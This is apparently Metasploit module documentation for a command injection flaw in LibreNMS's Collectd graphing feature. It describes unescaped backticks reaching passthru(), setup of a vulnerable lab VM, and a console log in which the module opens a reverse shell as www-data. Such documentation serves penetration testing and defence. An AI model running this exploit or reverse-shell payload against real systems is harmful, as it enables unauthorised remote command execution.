## Description A command injection vulnerability exists in LibreNMS versions prior to `v1.50.1`. The injection vulnerability affects the Collectd graphing functionality. Specifically, the `to` and `from` parameters used in the range for graphing are sanitized with the `mysqli_escape_real_string()` which ignores certain characters, including backticks. These improperly sanitized parameters are then used in a shell command that gets executed via the `passthru()` function. This module has been tested on LibreNMS `v1.46` and `v.1.50`. ## Vulnerable Application A vulnerable version of LibreNMS (v1.50) in the form of an OVA can be downloaded [here](https://github.com/librenms/packer-builds/releases/tag/1.50). Login credentials can be found on the official LibreNMS [site](https://docs.librenms.org/Installation/Images/). Collectd will need to be set up with LibreNMS for this exploit to work. These instructions are for the Ubuntu OVA. ```sudo apt-get install collectd``` Open the Collectd config file `/etc/collectd/collectd.conf` and uncomment the global options for the `Hostname` and `BaseDir`. Next, uncomment the lines for the cpu plugin. The plugin should look similar to this: ``` ReportByCpu true ReportByState true ValuesPercentage false ``` Next, find the `rrdtool` plugin and ensure it looks like this: ``` DataDir "/var/lib/collectd/rrd" CacheTimeout 120 CacheFlush 900 ``` Save and exit Now open `/etc/collectd/collectd.conf.d/rrdtool.conf` and add ``` LoadPlugin rrdtool DataDir "/var/lib/collectd/rrd" CacheTimeout 120 CacheFlush 900 ``` Save and exit, then restart the Collectd service: ```sudo systemctl restart collectd``` Lastly, add these two lines to the LibreNMS config file, `/opt/librenms/config.php`: ``` $config['collectd_dir'] = '/var/lib/collectd/rrd'; $config['collectd_sock'] = 'unix:///var/run/collectd.sock'; ``` Now save and exit. You can verify that Collectd is set up with LibreNMS by viewing the `localhost` device in LibreNMS and noting that there should be a Collectd tab on the device's main page. ## Verification Steps 1. Install the application 2. Start msfconsole 3. Do: ```use exploit/linux/http/librenms_collectd_cmd_inject``` 4. Do: ```set RHOSTS ``` 5. Do: ```set USERNAME ``` 6. Do: ```set PASSWORD ``` 7. Do: ```run``` 8. You should get a shell. ## Scenarios ### Tested on LibreNMS `v1.46` ``` msf5 > use exploit/linux/http/librenms_collectd_cmd_inject msf5 exploit(linux/http/librenms_collectd_cmd_inject) > set rhosts 192.168.37.133 rhosts => 192.168.37.133 msf5 exploit(linux/http/librenms_collectd_cmd_inject) > set username blah username => blah msf5 exploit(linux/http/librenms_collectd_cmd_inject) > set password password password => password msf5 exploit(linux/http/librenms_collectd_cmd_inject) > set payload cmd/unix/reverse payload => cmd/unix/reverse msf5 exploit(linux/http/librenms_collectd_cmd_inject) > set lhost 192.168.37.1 lhost => 192.168.37.1 msf5 exploit(linux/http/librenms_collectd_cmd_inject) > check [*] 192.168.37.133:80 - The target service is running, but could not be validated. msf5 exploit(linux/http/librenms_collectd_cmd_inject) > run [*] Started reverse TCP double handler on 192.168.37.1:4444 [*] Successfully logged into LibreNMS. Storing credentials... [*] LibreNMS version: 1.46 [*] Sending payload via device 122 [*] Accepted the first client connection... [*] Accepted the second client connection... [*] Command: echo 67Fk9T3DyODcIsbL; [*] Writing to socket A [*] Writing to socket B [*] Reading from sockets... [*] Reading from socket A [*] A: "Trying: not found\r\nsh: 2: Connected: not found\r\nsh: 3: Escape: not found\r\n67Fk9T3DyODcIsbL\r\n" [*] Matching... [*] B is input... [*] Command shell session 3 opened (192.168.37.1:4444 -> 192.168.37.133:50462) at 2019-08-12 15:43:16 -0500 whoami www-data uname -a Linux ubuntu 4.18.0-15-generic #16~18.04.1-Ubuntu SMP Thu Feb 7 14:06:04 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux ```